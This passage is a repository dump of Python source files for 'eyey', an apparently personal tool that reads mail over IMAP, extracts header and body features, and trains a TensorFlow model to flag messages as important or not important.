self.con.store(uid, \"-FLAGS\", '\\Seen')\n log.info('%s %s %s', folder, uid, msg['Subject'])\n yield uid, flags, process_message(msg, self.porter, None)\n for (uid, msg, flags) in get_messages(self.con, folder, \"SEEN %s\" % search):\n log.info('%s %s %s', folder, uid, msg['Subject'])\n yield uid, flags, process_message(msg, self.porter, None)\n\n def set_important(self, uid):\n self.con.store(uid, \"-FLAGS\", constants.NOT_IMPORTANT.decode('utf8'))\n self.con.store(uid, \"+FLAGS\", constants.IMPORTANT.decode('utf8'))\n log.info('%s %s', uid, constants.IMPORTANT)\n\n def set_notimportant(self, uid):\n self.con.store(uid, \"-FLAGS\", constants.IMPORTANT.decode('utf8'))\n self.con.store(uid, \"+FLAGS\", constants.NOT_IMPORTANT.decode('utf8'))\n log.info('%s %s', uid, constants.NOT_IMPORTANT)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser = argparse.ArgumentParser()\n parser.add_argument('--params', default='default')\n args = parser.parse_args()\n unknown_words = []\n log.info('Checking for new email')\n # folders = ['INBOX', 'INBOX/suse-manager', 'INBOX/salt', ])\n tagger = Tagger(PARAMS[args.params]['outdir'], PARAMS[args.params]['folders'])\n\n # Train an messages marked with 'train' flag\n to_train = []\n\n for (uid, flags, (features, part_unknown_words)) in tagger.next(False, search='KEYWORD %s' % constants.RETRAIN.decode('utf8')):\n tagger.con.store(uid, \"-FLAGS\", constants.RETRAIN.decode('utf8'))\n if features is None:\n continue\n features.at[0, 'label'] = 1 if constants.SHOULD_BE_IMPORTANT in flags else 0\n to_train.append(features)\n\n if to_train:\n import model\n model.post_train_and_evaluate(pd.concat(to_train), './trained/', './data')\n # need to load the new trained model\n tagger = Tagger(PARAMS[args.params]['outdir'], PARAMS[args.params]['folders'])\n\n # Set flags\n for (uid, flags, (features, part_unknown_words)) in tagger.next(\n False,\n search=\"OR (%s %s) (%s)\" % (\n 'NOT KEYWORD %s' % constants.IMPORTANT.decode('utf8'),\n 'NOT KEYWORD %s' % constants.NOT_IMPORTANT.decode('utf8'),\n 'KEYWORD %s' % constants.RELABEL.decode('utf8'))\n ):\n tagger.con.store(uid, \"-FLAGS\", constants.RELABEL.decode('utf8'))\n important = tagger.predict(features)\n if important is None:\n log.warning('No features for %s', uid)\n elif important:\n tagger.set_important(uid)\n else:\n tagger.set_notimportant(uid)\n\n # for (uid, (features, part_unknown_words)) in tagger.next(False, search='UNSEEN'):\n # if tagger.is_important(features):\n # tagger.set_important(uid)\n # else:\n # tagger.set_notimportant(uid)\n # tagger.con.store(uid, \"-FLAGS\", '\\Seen')\n\n # for (uid, (features, part_unknown_words)) in tagger.next(False, search='SEEN'):\n # if tagger.is_important(features):\n # tagger.set_important(uid)\n # else:\n # tagger.set_notimportant(uid)\n # unknown_words += part_unknown_words\n\n # if unknown_words:\n # with open('data/unknown_words.csv', 'ab') as f:\n # unkw_df = pd.DataFrame(\n # unknown_words\n # ).reset_index().groupby(0).count().sort_values(\n # 'index', ascending=False)\n # f.write(unkw_df.to_csv(header=False).encode('utf8'))\n" }, { "alpha_fraction": 0.5828452706336975, "alphanum_fraction": 0.5856791734695435, "avg_line_length": 36.01398468017578, "blob_id": "97772026862fc9d729126ac3700ec6c9b8ffc2df", "content_id": "8852b458907760f8f516a48b750bd7bfd50c69a2", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5293, "license_type": "permissive", "max_line_length": 137, "num_lines": 143, "path": "/eyey/process_live.py", "repo_name": "dincamihai/eyey", "src_encoding": "UTF-8", "text": "import re\nimport datetime\nimport string\nimport numpy as np\nimport pandas as pd\nfrom nltk.tokenize import word_tokenize\nfrom bs4 import BeautifulSoup\nfrom nltk.corpus import stopwords\n\nfrom utils import get_messages, log\nfrom config import BODY_FEATURES, SUBJECT_FEATURES, BUGZILLA_HEADERS\n\n\ndef clean_content(content):\n try:\n return content.rstrip(string.punctuation).lower()\n except Exception as ex:\n log.warning(ex)\n\n\ndef get_content(message):\n if message.is_multipart():\n parts = message.get_payload()\n try:\n content = b''.join([(part.get_payload(decode=True) or b'') for part in parts])\n except Exception as ex:\n log.warning(ex)\n else:\n content = message.get_payload(decode=True)\n content = content.decode('utf8', 'ignore')\n return clean_content(content)\n\n\ndef get_words(tokens, porter):\n words = []\n unknown_words = []\n for token in tokens:\n if token.isalpha() and token not in stopwords.words('english'):\n try:\n words.append((porter.stem(token), token))\n except KeyError as kerr:\n unknown_words.append(token)\n continue\n return words, unknown_words\n\n\ndef get_features(words, limit):\n # columns = ['stem'] + [i for i in range(50)]\n columns = ['stem']\n words_df = pd.DataFrame(\n [[row[0]] for row in words], columns=columns)\n top_words = words_df['stem'].tolist()[:limit]\n empty_words = [''] * (limit - len(top_words))\n ret = top_words + empty_words\n assert len(ret) == limit\n return ret\n\n\ndef process_content(content, porter, limit):\n is_html = bool(BeautifulSoup(content, \"html.parser\").find())\n if is_html:\n soup = BeautifulSoup(content,'lxml')\n content = soup.get_text()\n try:\n tokens = word_tokenize(content)\n except Exception as exc:\n log.warning(exc)\n return None, []\n\n words, unknown_words = get_words(tokens, porter)\n\n return get_features(words, limit), unknown_words\n\n\ndef _extract_mail(text):\n if not text:\n return ''\n mail_regex = re.compile(\n r'<*(?P<email>[a-zA-Z0-9-=+._]+@[a-zA-Z0-9-_]+\\.[a-zA-Z]+)>*')\n res = mail_regex.search(text)\n return res.groupdict()['email'] if res else ''\n\n\ndef process_message(message, porter, label):\n try:\n content = get_content(message)\n except Exception as exc:\n log.warning(exc)\n features, unknown_words = (None, [])\n else:\n content_features, unknown_words = process_content(content, porter, BODY_FEATURES)\n from_ = _extract_mail(message['From'])\n return_ = _extract_mail(message['Return-Path'])\n to_ = _extract_mail(message['To'])\n cc_ = _extract_mail(message['Cc'])\n x_spam_flag = message['X-Spam-Flag']\n x_spam_score = message['X-Spam-Score']\n github_sender = message.get('X-GitHub-Sender', '')\n github_recipient = message.get('X-GitHub-Recipient', '')\n github_reason = message.get('X-GitHub-Reason', '')\n bugzilla_headers_features = []\n for it in BUGZILLA_HEADERS:\n bugzilla_headers_features.append(message.get(it, ''))\n NUM_KEYWORDS = 3\n bugzilla_keywords_features = [it for it in message.get(\"X-Bugzilla-Keywords\", '').split(',')[:NUM_KEYWORDS] if it]\n for i in range(NUM_KEYWORDS - len(bugzilla_keywords_features)):\n bugzilla_keywords_features.append('')\n NUM_CHANGED_FIELDS = 10\n bugzilla_changed_fields_features = [it for it in message.get(\"X-Bugzilla-Changed-Fields\", '').split()[:NUM_CHANGED_FIELDS] if it]\n for i in range(NUM_CHANGED_FIELDS - len(bugzilla_changed_fields_features)):\n bugzilla_changed_fields_features.append('')\n if bugzilla_changed_fields_features[0]:\n log.info(bugzilla_changed_fields_features)\n subject_features, _ = process_content(message['subject'], porter, SUBJECT_FEATURES)\n try:\n timestamp = datetime.datetime.strptime(message['Date'], '%a, %d %b %Y %H:%M:%S %z').timestamp()\n except Exception:\n timestamp = 0.0\n features = pd.DataFrame(\n [\n [from_, to_, cc_, return_, x_spam_flag, x_spam_score] +\n [github_sender, github_recipient, github_reason] +\n bugzilla_headers_features +\n bugzilla_keywords_features +\n bugzilla_changed_fields_features +\n subject_features +\n content_features +\n [timestamp] +\n [label if label else None]\n ],\n columns=(\n ['from', 'return', 'to', 'cc', 'x_spam_flag', 'x_spam_score'] +\n ['github_sender', 'github_recipient', 'github_reason'] +\n [it.lower().replace('-', '_') for it in BUGZILLA_HEADERS] +\n [\"x_bugzilla_keywords%s\" % i for i in range(NUM_KEYWORDS)] +\n [\"x_bugzilla_changed_fields%s\" % i for i in range(NUM_CHANGED_FIELDS)] +\n [\"subject%s\" % i for i in range(len(subject_features))] +\n [\"body%s\" % i for i in range(len(content_features))] +\n [\"timestamp\"] +\n ['label']\n )\n )\n return (features, unknown_words)\n" }, { "alpha_fraction": 0.5509467720985413, "alphanum_fraction": 0.5554553866386414, "avg_line_length": 29.80555534362793, "blob_id": "e675cb96e170545879bad956fd19a2592e128a76", "content_id": "391d72c55f9a70b3e83204c0347ccb2beae8b61f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1109, "license_type": "permissive", "max_line_length": 107, "num_lines": 36, "path": "/eyey/train_test_split.py", "repo_name": "dincamihai/eyey", "src_encoding": "UTF-8", "text": "import constants\nfrom utils import get_messages, log, get_label\nfrom config import get_connection\n\ndef clean(con):\n folders = [\n 'INBOX/train/important',\n 'INBOX/test/important',\n 'INBOX/train/not-important',\n 'INBOX/test/not-important',\n ]\n for folder in folders:\n con.select(folder)\n for (uid, msg, flags) in get_messages(con, folder, 'ALL'):\n result = con.store(uid, \"+FLAGS\", '\\\\Deleted')\n log.info('{} {}'.format(uid, result))\n con.expunge()\n\nif __name__ == \"__main__\":\n folders = ['INBOX']\n unknown_words = []\n\n con = get_connection()\n clean(con)\n\n for folder in folders:\n log.info(folder)\n con.select(folder, readonly=True)\n for (uid, msg, flags) in get_messages(con, folder, 'ALL'):\n log.info(\"%s %s\", uid, flags)\n label = get_label(flags)\n if label is None:\n continue\n mode = 'test' if (int(uid) % 10) >= 8 else 'train'\n\n result = con.copy(uid, 'INBOX/{0}/{1}'.format(mode, 'important' if label else 'not-important'))\n" }, { "alpha_fraction": 0.6142433285713196, "alphanum_fraction": 0.6290801167488098, "avg_line_length": 31.4819278717041, "blob_id": "5d0f95473d34d8d9da4623fd31737dc055ca6cb4", "content_id": "f9e2857001dd2427b6a15773471f19e8f95c09f3", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2696, "license_type": "permissive", "max_line_length": 102, "num_lines": 83, "path": "/eyey/process.py", "repo_name": "dincamihai/eyey", "src_encoding": "UTF-8", "text": "import string\nimport numpy as np\nimport pandas as pd\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\n\n\ndef clean_content(content):\n return content.rstrip(string.punctuation).lower()\n\n\ndef get_content(message):\n if message.is_multipart():\n parts = message.get_payload()\n content = ''.join(part.get_payload(decode=True) for part in parts)\n else:\n content = message.get_payload(decode=True)\n return clean_content(content)\n\n\ndef get_words(tokens, porter, w2v_model):\n words = []\n unknown_words = []\n for token in tokens:\n if token.isalpha() and token not in stopwords.words('english'):\n try:\n words.append(\n (porter.stem(token), w2v_model.get_vector(token))\n )\n except KeyError as kerr:\n unknown_words.append(token)\n continue\n return words, unknown_words\n\n\ndef get_features(words, label_fun):\n columns = ['stem'] + [i for i in range(50)]\n words_df = pd.DataFrame(\n [np.append(*row) for row in words], columns=columns).set_index('stem')\n words_counts = words_df.index.value_counts()\n words_df = words_df.merge(\n words_counts.to_frame(), left_index=True, right_index=True\n ).rename(\n columns={'stem': 'count'}\n ).drop_duplicates().sort_values(\n 'count', ascending=False\n )\n top10_words_df = words_df[:10].reset_index().iloc[:, 1:-1]\n for i in range(10 - top10_words_df.shape[0]):\n top10_words_df = pd.concat([top10_words_df, pd.DataFrame([0.0 for i in range(50)]).T], axis=0)\n flat_df = top10_words_df.stack().reset_index().iloc[:, 2].to_frame().T\n flat_df['label'] = label_fun(flags) if label_fun else None\n assert flat_df.shape == (1, 501)\n flat_df.columns = [\"w%s\" % i for i in range(500)] + ['label']\n return flat_df\n\n\ndef process_content(content, porter, w2v_model, label_fun):\n try:\n tokens = word_tokenize(content)\n except Exception as exc:\n print(exc)\n return None, []\n\n words, unknown_words = get_words(tokens, porter, w2v_model)\n\n return get_features(words, label_fun), unknown_words\n\n\ndef process_message(message, porter, w2v_model, label_fun=None):\n try:\n content = get_content(message)\n except Exception as exc:\n print(exc)\n features, unknown_words = (None, [])\n else:\n features, unknown_words = process_content(content, porter, w2v_model, label_fun)\n return (features, unknown_words)\n\n\ndef process_folder(w2v_model, porter, maildir, label_fun):\n for key, message in maildir.iteritems():\n yield process_message(message, porter, w2v_model, label_fun)\n" }, { "alpha_fraction": 0.5874860286712646, "alphanum_fraction": 0.6047499179840088, "avg_line_length": 34.720001220703125, "blob_id": "f21b94549903dcad0f883c1436cbac5f815fa8a8", "content_id": "a812dd4f7ee17b39ee4ed210dca7ba80088a2093", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21432, "license_type": "permissive", "max_line_length": 127, "num_lines": 600, "path": "/eyey/model.py", "repo_name": "dincamihai/eyey", "src_encoding": "UTF-8", "text": "import shutil\nimport argparse\nimport datetime\nimport tensorflow as tf\n# import tensorflow.contrib.eager as tfe\n# tf.enable_eager_execution()\n\nfrom config import EVAL_INTERVAL, BODY_FEATURES, SUBJECT_FEATURES, BUGZILLA_HEADERS\nfrom params import PARAMS\n\ntf.set_random_seed(1234)\n\n\nCSV_COLUMNS = (\n ['from', 'return', 'to', 'cc', 'x_spam_flag', 'x_spam_score'] +\n ['github_sender', 'github_recipient', 'github_reason'] +\n [it.lower().replace('-', '_') for it in BUGZILLA_HEADERS] +\n [\"x_bugzilla_keywords%s\" % i for i in range(3)] +\n [\"x_bugzilla_changed_fields%s\" % i for i in range(10)] +\n [\"subject%s\" % i for i in range(SUBJECT_FEATURES)] +\n [\"body%s\" % i for i in range(BODY_FEATURES)] +\n [\"timestamp\"] +\n ['label']\n)\n\n\nDEFAULTS = (\n ['', '', '', '', '', 0.0] +\n ['', '', ''] +\n ['' for i in range(len(BUGZILLA_HEADERS))] +\n ['', '', ''] +\n [''] * 10 +\n ['' for i in range(SUBJECT_FEATURES)] +\n ['' for i in range(BODY_FEATURES)] +\n [0.0] +\n [0]\n)\n\n\nLABEL_COLUMN = 'label'\n\n\ndef decode_csv(value_column):\n columns = tf.decode_csv(value_column, record_defaults=DEFAULTS)\n features = dict(zip(CSV_COLUMNS, columns))\n label = features.pop(LABEL_COLUMN)\n # No need to features.pop('key') since it is not specified in the INPUT_COLUMNS.\n # The key passes through the graph unused.\n return features, label\n\n\ndef read_dataset(filename, mode, batch_size=512):\n\n # Create list of file names that match \"glob\" pattern (i.e. data_file_*.csv)\n filenames_dataset = tf.data.Dataset.list_files(filename)\n # Read lines from text files\n mails_dataset = filenames_dataset.flat_map(tf.data.TextLineDataset)\n # Parse text lines as comma-separated values (CSV)\n dataset = mails_dataset.map(decode_csv)\n\n # Note:\n # use tf.data.Dataset.flat_map to apply one to many transformations (here: filename -> text lines)\n # use tf.data.Dataset.map to apply one to one transformations (here: text line -> feature list)\n\n if mode == tf.estimator.ModeKeys.TRAIN:\n num_epochs = None # indefinitely\n dataset = dataset.shuffle(buffer_size=10 * batch_size)\n else:\n num_epochs = 1 # end-of-input after this\n\n dataset = dataset.repeat(num_epochs).batch(batch_size)\n\n return dataset\n\n\ndef get_feature_columns():\n from_col = tf.feature_column.embedding_column(\n tf.feature_column.categorical_column_with_hash_bucket('from', 1000),\n 20\n )\n return_col = tf.feature_column.embedding_column(\n tf.feature_column.categorical_column_with_hash_bucket('return', 1000),\n 20\n )\n to_col = tf.feature_column.embedding_column(\n tf.feature_column.categorical_column_with_hash_bucket('to', 1000),\n 20\n )\n cc_col = tf.feature_column.embedding_column(\n tf.feature_column.categorical_column_with_hash_bucket('cc', 1000),\n 20\n )\n x_spam_flag_col = tf.feature_column.indicator_column(\n tf.feature_column.categorical_column_with_vocabulary_list('x_spam_flag', ['YES', 'NO'])\n )\n x_spam_score_col = tf.feature_column.bucketized_column(\n tf.feature_column.numeric_column('x_spam_score'), (-50, 0, 50)\n )\n github_sender_col = tf.feature_column.embedding_column(\n tf.feature_column.categorical_column_with_hash_bucket('github_sender', 1000),\n 20\n )\n github_recipient_col = tf.feature_column.embedding_column(\n tf.feature_column.categorical_column_with_hash_bucket('github_recipient', 1000),\n 20\n )\n github_reason_col = tf.feature_column.embedding_column(\n tf.feature_column.categorical_column_with_vocabulary_list(\n 'github_reason',\n [\n 'mention',\n 'subscribed',\n 'push',\n 'assign',\n 'author',\n 'review_requested',\n 'comment',\n ],\n ),\n 2\n )\n\n def make_categorical_column(name, embtype, coltype, colargs, embargs):\n return getattr(tf.feature_column, embtype)(\n getattr(tf.feature_column, coltype)(name, *colargs),\n *embargs\n )\n\n bugzilla_changed_fields_vocabulary = [\n 'status_whiteboard',\n 'bug_severity'\n 'flagtypes.name',\n 'bug_id',\n 'short_desc',\n 'classification',\n 'product',\n 'version',\n 'rep_platform',\n 'op_sys',\n 'bug_status',\n 'priority',\n 'component',\n 'assigned_to',\n 'reporter',\n 'cc'\n ]\n bugzilla_reason = make_categorical_column(\n \"x_bugzilla_reason\", # qacontact\n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [10], [2]\n 'categorical_column_with_vocabulary_list',\n [['QAContact', 'CC AssignedTo', 'AssignedTo', 'CC']], [2]\n )\n bugzilla_type = make_categorical_column(\n \"x_bugzilla_type\", # changed\n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [10], [2]\n 'categorical_column_with_vocabulary_list',\n [['request', 'whine', 'changed', 'new']], [2]\n )\n bugzilla_component = make_categorical_column(\n \"x_bugzilla_component\",\n 'embedding_column',\n 'categorical_column_with_vocabulary_list',\n [[\n 'Salt',\n 'Other',\n 'Maintenance',\n 'Server',\n 'Containers',\n 'UI/UX',\n 'Incidents',\n 'Client'\n ]], [2]\n )\n bugzilla_who = make_categorical_column(\n \"x_bugzilla_who\", # [email protected]\n 'embedding_column',\n 'categorical_column_with_hash_bucket', [1000], [20]\n )\n bugzilla_status = make_categorical_column(\n \"x_bugzilla_status\", # reopened\n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [10], [2]\n 'categorical_column_with_vocabulary_list',\n [['NEW', 'CONFIRMED', 'RESOLVED', 'IN_PROGRESS', 'REOPENED']], [2]\n )\n bugzilla_priority = make_categorical_column(\n \"x_bugzilla_priority\", # p2 _ high\n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [5], [2]\n 'categorical_column_with_vocabulary_list',\n [['P1 - Urgent', 'P2 - High', 'P3 - Medium', 'P4 - Low', 'P5 - None']], [2]\n )\n bugzilla_assigned_to = make_categorical_column(\n \"x_bugzilla_assigned_to\", # [email protected]\n 'embedding_column',\n 'categorical_column_with_hash_bucket', [1000], [20]\n )\n bugzilla_keywords0 = make_categorical_column(\n \"x_bugzilla_keywords0\", # dsla_required, dsla_solution_provi[ded\n \"embedding_column\",\n 'categorical_column_with_vocabulary_list',\n [['DSLA_REQUIRED']], [1]\n )\n bugzilla_keywords1 = make_categorical_column(\n \"x_bugzilla_keywords1\", # dsla_required, dsla_solution_provi[ded\n \"embedding_column\",\n 'categorical_column_with_vocabulary_list',\n [['DSLA_SOLUTION_PROVIDED']], [1]\n )\n\n bugzilla_watch_reason = make_categorical_column(\n \"x_bugzilla_watch_reason\", # none\n 'embedding_column', 'categorical_column_with_hash_bucket', [100], [10]\n )\n\n bugzilla_classification = make_categorical_column(\n \"x_bugzilla_classification\", # suse manager\n 'embedding_column',\n 'categorical_column_with_vocabulary_list',\n [[\n 'SUSE Linux Enterprise Server',\n 'SUSE Manager',\n 'openSUSE',\n 'Novell Products'\n ]], [2]\n )\n\n bugzilla_products = make_categorical_column(\n \"x_bugzilla_product\", # suse manager 3.2\n 'embedding_column', 'categorical_column_with_hash_bucket', [100], [10]\n )\n\n bugzilla_severity = make_categorical_column(\n \"x_bugzilla_severity\", # major\n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [5], [2]\n 'categorical_column_with_vocabulary_list',\n [['Major', 'Normal', 'Minor']], [2]\n )\n bugzilla_qa_contact = make_categorical_column(\n \"x_bugzilla_qa_contact\", # [email protected]\n 'embedding_column', 'categorical_column_with_hash_bucket', [1000], [20]\n )\n bugzilla_flags = make_categorical_column(\n \"x_bugzilla_flags\", # \n 'embedding_column',\n 'categorical_column_with_vocabulary_list',\n [['needinfo?', 'needinfo? needinfo?', 'needinfo? needinfo? needinfo?']], [2]\n )\n bugzilla_changed_fields0 = make_categorical_column(\n \"x_bugzilla_changed_fields0\", # \n 'embedding_column',\n 'categorical_column_with_vocabulary_list',\n [bugzilla_changed_fields_vocabulary], [3]\n )\n bugzilla_changed_fields1 = make_categorical_column(\n \"x_bugzilla_changed_fields1\", # \n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [1000], [20]\n 'categorical_column_with_vocabulary_list',\n [bugzilla_changed_fields_vocabulary], [3]\n )\n bugzilla_changed_fields2 = make_categorical_column(\n \"x_bugzilla_changed_fields2\", # \n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [1000], [20]\n 'categorical_column_with_vocabulary_list',\n [bugzilla_changed_fields_vocabulary], [3]\n )\n bugzilla_changed_fields3 = make_categorical_column(\n \"x_bugzilla_changed_fields3\", # \n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [1000], [20]\n 'categorical_column_with_vocabulary_list',\n [bugzilla_changed_fields_vocabulary], [3]\n )\n bugzilla_changed_fields4 = make_categorical_column(\n \"x_bugzilla_changed_fields4\", # \n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [1000], [20]\n 'categorical_column_with_vocabulary_list',\n [bugzilla_changed_fields_vocabulary], [3]\n )\n bugzilla_changed_fields5 = make_categorical_column(\n \"x_bugzilla_changed_fields5\", # \n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [1000], [20]\n 'categorical_column_with_vocabulary_list',\n [bugzilla_changed_fields_vocabulary], [3]\n )\n bugzilla_changed_fields6 = make_categorical_column(\n \"x_bugzilla_changed_fields6\", # \n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [1000], [20]\n 'categorical_column_with_vocabulary_list',\n [bugzilla_changed_fields_vocabulary], [3]\n )\n bugzilla_changed_fields7 = make_categorical_column(\n \"x_bugzilla_changed_fields7\", # \n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [1000], [20]\n 'categorical_column_with_vocabulary_list',\n [bugzilla_changed_fields_vocabulary], [3]\n )\n bugzilla_changed_fields8 = make_categorical_column(\n \"x_bugzilla_changed_fields8\", # \n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [1000], [20]\n 'categorical_column_with_vocabulary_list',\n [bugzilla_changed_fields_vocabulary], [3]\n )\n bugzilla_changed_fields9 = make_categorical_column(\n \"x_bugzilla_changed_fields9\", # \n 'embedding_column',\n # 'categorical_column_with_hash_bucket', [1000], [20]\n 'categorical_column_with_vocabulary_list',\n [bugzilla_changed_fields_vocabulary], [3]\n )\n\n subject_cols = [\n # tf.feature_column.indicator_column(\n tf.feature_column.embedding_column(\n tf.feature_column.categorical_column_with_hash_bucket('subject%s' % i, 10000),\n 50\n ) for i in range(SUBJECT_FEATURES)\n ]\n body_cols = [\n # tf.feature_column.indicator_column(\n tf.feature_column.embedding_column(\n tf.feature_column.categorical_column_with_hash_bucket('body%s' % i, 10000),\n 50\n ) for i in range(BODY_FEATURES)\n ]\n source_target_crossed_col = tf.feature_column.embedding_column(\n tf.feature_column.crossed_column(\n ['from', 'to', 'cc'], 1000\n ),\n 50\n )\n body_crossed_col = tf.feature_column.embedding_column(\n tf.feature_column.crossed_column(\n # ['subject%s' %i for i in range(SUBJECT_FEATURES)] +\n ['body%s' %i for i in range(BODY_FEATURES)], 10000\n ),\n 50\n )\n now = datetime.datetime.now()\n one_year_ago = (now - datetime.timedelta(365)).timestamp()\n one_month_ago = (now - datetime.timedelta(30)).timestamp()\n timestamp_col = tf.feature_column.embedding_column(\n tf.feature_column.bucketized_column(\n tf.feature_column.numeric_column('timestamp'),\n (one_year_ago, one_month_ago, now.timestamp())\n ),\n 20\n )\n return (\n [\n # timestamp_col,\n from_col,\n to_col,\n cc_col,\n source_target_crossed_col,\n x_spam_flag_col,\n # x_spam_score_col,\n github_recipient_col,\n github_reason_col,\n bugzilla_reason,\n # bugzilla_type,\n bugzilla_component,\n # bugzilla_who,\n bugzilla_status,\n # bugzilla_priority,\n bugzilla_assigned_to,\n # bugzilla_keywords0,\n # bugzilla_keywords1,\n body_crossed_col,\n ] +\n # subject_cols +\n body_cols\n )\n\n\ndef read_csv_row_in():\n csv_row = tf.placeholder(shape=[None], dtype=tf.string, name='csv_row')\n features, _ = decode_csv(csv_row)\n return features, csv_row\n\n\ndef serving_input_receiver_fn():\n features, csv_row = read_csv_row_in()\n return tf.estimator.export.ServingInputReceiver(\n features, {'csv_row': csv_row})\n\n\nNCLASSES=2\n\n\ndef apply_batch_norm(layer, mode, params):\n if params.get('batch_norm', False):\n layer = tf.layers.batch_normalization(\n layer, training=(mode == tf.estimator.ModeKeys.TRAIN)) #only batchnorm when training\n layer = params.get('activation', tf.nn.relu)(layer)\n return layer\n\n\ndef model_fn(features, labels, mode, params):\n\n input_layer = tf.feature_column.input_layer(features, params['feature_columns'])\n #apply batch normalization\n # l1 = tf.layers.dense(input_layer, 100, activation=None)\n # l1 = apply_batch_norm(l1, mode, params)\n # l2 = tf.layers.dense(l1, 300, activation=None)\n # l2 = apply_batch_norm(l2, mode, params)\n # l3 = tf.layers.dense(l2, 100, activation=None)\n # l3 = apply_batch_norm(l3, mode, params)\n # l4 = tf.layers.dense(l3, 10, activation=None)\n # l4 = apply_batch_norm(l4, mode, params)\n ylogits = tf.layers.dense(input_layer, NCLASSES, activation=None)\n\n predictions = tf.math.argmax(ylogits, 1)\n\n loss = None\n train_op = None\n evalmetrics = None\n\n if mode == tf.estimator.ModeKeys.TRAIN or mode == tf.estimator.ModeKeys.EVAL:\n loss = tf.losses.sparse_softmax_cross_entropy(labels, ylogits)\n # optimizer = tf.train.AdamOptimizer(learning_rate=params['learning_rate'])\n\n optimizer = tf.train.ProximalAdagradOptimizer(\n l1_regularization_strength=params['l1_regularization'],\n l2_regularization_strength=params['l2_regularization'],\n learning_rate=params['learning_rate']\n )\n optimizer = near_optimizer=tf.train.FtrlOptimizer(\n l1_regularization_strength=params['l1_regularization'],\n l2_regularization_strength=params['l2_regularization'],\n learning_rate=params['learning_rate']\n )\n\n if mode == tf.estimator.ModeKeys.TRAIN:\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_op = optimizer.minimize(loss, global_step=tf.train.get_global_step())\n\n def mcc(labels, predictions):\n TP = tf.count_nonzero(predictions * labels)\n TN = tf.count_nonzero((predictions - 1) * (labels - 1))\n FP = tf.count_nonzero(predictions * (labels - 1))\n FN = tf.count_nonzero((predictions - 1) * labels)\n ret = (TP * TN - FP * FN) / tf.math.sqrt((TP+FP)*(TP+FN)*(TN+FP)*(TN+FN))\n return ret\n\n evalmetrics = {\n 'accuracy': tf.metrics.accuracy(labels, predictions),\n 'precision': tf.metrics.precision(labels, predictions),\n 'recall': tf.metrics.recall(labels, predictions),\n 'f1_score': tf.contrib.metrics.f1_score(labels, predictions),\n # 'mcc': mcc(labels, predictions)\n }\n\n\n return tf.estimator.EstimatorSpec(\n mode=mode,\n predictions={\"predictions\": predictions},\n loss=loss,\n train_op=train_op,\n eval_metric_ops=evalmetrics,\n export_outputs={\"predictions\": tf.estimator.export.PredictOutput(predictions)}\n )\n\n\ndef get_estimator(output_dir, hparams, learning_rate=None):\n linear_optimizer = near_optimizer=tf.train.FtrlOptimizer(\n l1_regularization_strength=0.06,\n l2_regularization_strength=0.06,\n learning_rate=learning_rate or 0.1\n )\n dnn_optimizer = tf.train.ProximalAdagradOptimizer(\n l1_regularization_strength=0.01,\n l2_regularization_strength=0.03,\n learning_rate=learning_rate or 0.1\n )\n\n estimator = tf.estimator.Estimator(\n model_fn=model_fn,\n params=hparams,\n config=tf.estimator.RunConfig(save_checkpoints_secs=EVAL_INTERVAL),\n model_dir=output_dir)\n\n # estimator = tf.estimator.LinearClassifier(\n # feature_columns=feature_cols,\n # # optimizer=linear_optimizer,\n # # hidden_units=[120, 120, 120],\n # # linear_feature_columns=feature_cols[:4] + feature_cols[-4:],\n # # linear_optimizer=linear_optimizer,\n # # dnn_feature_columns=feature_cols[4:-4],\n # # dnn_hidden_units=[150, 100, 100],\n # #dnn_optimizer=dnn_optimizer,\n # optimizer=linear_optimizer,\n # model_dir=output_dir)\n\n # def get_metrics(labels, predictions):\n # predictions = tf.expand_dims(tf.cast(predictions['predictions'], tf.float64), -1)\n # return {\n # 'f1_score': tf.contrib.metrics.f1_score(labels=labels, predictions=predictions),\n # }\n\n # estimator = tf.contrib.estimator.add_metrics(estimator, get_metrics)\n\n return estimator\n\n\ndef train_and_evaluate(output_dir, hparams, csv_dir=\"./data\"):\n tf.logging.set_verbosity(tf.logging.INFO)\n estimator = get_estimator(output_dir, hparams, learning_rate=0.06)\n\n train_spec = tf.estimator.TrainSpec(\n input_fn=lambda: read_dataset(csv_dir + '/train-*.csv', tf.estimator.ModeKeys.TRAIN, batch_size=hparams['batch_size']),\n max_steps=hparams['num_train_steps'])\n\n exporter = tf.estimator.LatestExporter('exporter', serving_input_receiver_fn)\n\n eval_spec = tf.estimator.EvalSpec(\n input_fn=lambda: read_dataset(csv_dir + '/test-*.csv', tf.estimator.ModeKeys.EVAL, batch_size=hparams['batch_size']),\n steps=None,\n start_delay_secs=1, # start evaluating after N seconds\n throttle_secs=5, # evaluate every N seconds\n exporters=exporter)\n\n tf.estimator.train_and_evaluate(estimator, train_spec, eval_spec)\n\n\ndef post_train_and_evaluate(features, output_dir, csv_dir):\n tf.logging.set_verbosity(tf.logging.INFO)\n estimator = get_estimator(output_dir, 0.1)\n\n def fn(df):\n types = {}\n types.update({k: str for k in ['to', 'from', 'cc', 'return']})\n types.update({\"subject%s\" % i: str for i in range(SUBJECT_FEATURES)})\n types.update({\"body%s\" % i: str for i in range(BODY_FEATURES)})\n dataset = tf.data.Dataset.from_tensor_slices(\n (dict(df.iloc[:, :-1].astype(types)),\n df['label'].tolist())\n )\n return dataset.repeat(1).batch(128)\n\n estimator.train(lambda: fn(features), 